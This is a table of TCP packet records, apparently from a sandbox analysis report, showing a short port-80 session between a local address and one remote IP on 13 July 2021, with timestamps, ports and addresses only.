Jul 13, 2021 14:37:13.118904114 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.119771957 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.119800091 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.119821072 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.119837046 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.119875908 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.119909048 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.119980097 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.120007992 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.120023012 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.120024920 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.120057106 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.120804071 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.120826960 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.120841026 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.120862961 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.120883942 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.120929956 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.120974064 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.121144056 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.121211052 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.121776104 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.121789932 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.121803999 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.121819973 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.121833086 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.121840000 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.121841908 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.121876001 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.121929884 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.121972084 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.122055054 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.122077942 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.122096062 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.122697115 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.122735023 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.122751951 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.122760057 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.122780085 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.122816086 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.122849941 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.122873068 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.122889996 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.123466015 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.123492956 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.123513937 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.123517990 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.123541117 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.123563051 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.123564005 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.123594999 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.123697042 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.123719931 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.123769045 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.124469995 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.124495029 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.124525070 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.124542952 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.124548912 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.124587059 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.124609947 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.124628067 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.124667883 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.124694109 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.124717951 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.124746084 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.125480890 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.125509024 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.125526905 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.125557899 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.125600100 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.125624895 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.125642061 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.125648022 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.125665903 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.125689030 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.126418114 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.126466036 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.126482964 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.126487970 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.126511097 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.126530886 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.126571894 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.126596928 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.126614094 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.126616001 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.126650095 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.126679897 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.127413034 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.127458096 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.127480030 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.127487898 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.127510071 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.127530098 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.127535105 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.127566099 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.127584934 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.127649069 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.127691984 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.128259897 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.128288031 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.128333092 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.128458023 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.128482103 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.128509998 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.128530979 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.128542900 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.128570080 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.128583908 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.128592014 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.128622055 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.129440069 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.129489899 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.129517078 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.129539013 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.129554033 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.129565001 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.129589081 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.129591942 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.129601002 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.129642963 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.130259991 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.130274057 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.130314112 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.130568027 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.130597115 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.130609989 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.130619049 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.130633116 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.130650043 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.130662918 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.130666018 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.130702019 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.130729914 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.131264925 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.131283998 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.131344080 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.131370068 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.131405115 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.131426096 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.131438971 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.131444931 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.131489038 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.131968021 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.132010937 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.132040024 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.132052898 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.132059097 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.132111073 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.132133007 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.132164001 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.132175922 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.132225990 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.133043051 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.133064985 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.133111000 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.133122921 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.133138895 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.133158922 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.133255959 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.133275986 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.133284092 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.133353949 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.134032011 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.134049892 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.134111881 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.134167910 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.134186983 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.134198904 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.134226084 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.134367943 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.134390116 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.134403944 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.134413004 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.134422064 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.134464979 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.135021925 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.135035992 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.135091066 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.135135889 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.135152102 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.135189056 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.135222912 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.135297060 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.135307074 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.135325909 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.135339022 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.135365963 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.135936022 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.135948896 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.135962009 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.136002064 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.136023998 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.136039019 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.136087894 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.136105061 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.136133909 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.136141062 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.136183977 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.136964083 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.136995077 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.137025118 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.137042999 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.137062073 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.137098074 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.137098074 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.137164116 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.137202978 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.137207985 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.137955904 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.138000011 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.138029099 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.138045073 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.138055086 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.138077974 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.138185024 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.138216019 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.138237000 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.138287067 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.138309002 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.138364077 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.138830900 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.138849020 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.138866901 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.138885975 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.138904095 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.138905048 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.138923883 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.138937950 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.138977051 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.139111042 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.139146090 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.139193058 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.139559031 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.139576912 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.139606953 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.139774084 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.139795065 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.139811993 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.139825106 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.139837027 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.139849901 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.140249968 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.140269041 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.140280962 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.140300035 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.140331984 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.140331984 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.140609980 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.140626907 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.140645027 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.140724897 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.140737057 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.141077042 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.141187906 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.141241074 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.141272068 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.141398907 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.141412973 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.141465902 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.141472101 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.141479015 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.141520023 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.141985893 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.142072916 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.142080069 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.142122030 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.142134905 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.142151117 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.142173052 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.142195940 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.142251968 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.142271042 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.142286062 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.142319918 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.142790079 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.142843008 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.142935038 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.142947912 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.142976999 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.142993927 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.142997026 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.143009901 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.143022060 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.143034935 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.143069029 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.143826962 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.143846989 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.143878937 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.143892050 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.143908024 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.143938065 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.143960953 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.144026041 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.144042015 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.144072056 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.144810915 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.144849062 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.144865036 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.144891977 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.144900084 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.144916058 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.144923925 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.144939899 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.144953012 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.144982100 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.144999027 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.145210981 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.145224094 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.145270109 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.145385027 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.145493984 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.145512104 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.145523071 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.145539999 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.145549059 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.145567894 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.145798922 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.145811081 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.145847082 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.146070957 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.146119118 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.146205902 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.146233082 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.146250010 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.146277905 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.146307945 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.146327972 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.146343946 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.146847963 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.146902084 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.146909952 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.147042036 CEST	80	49710	47.254.186.176	192.168.2.3
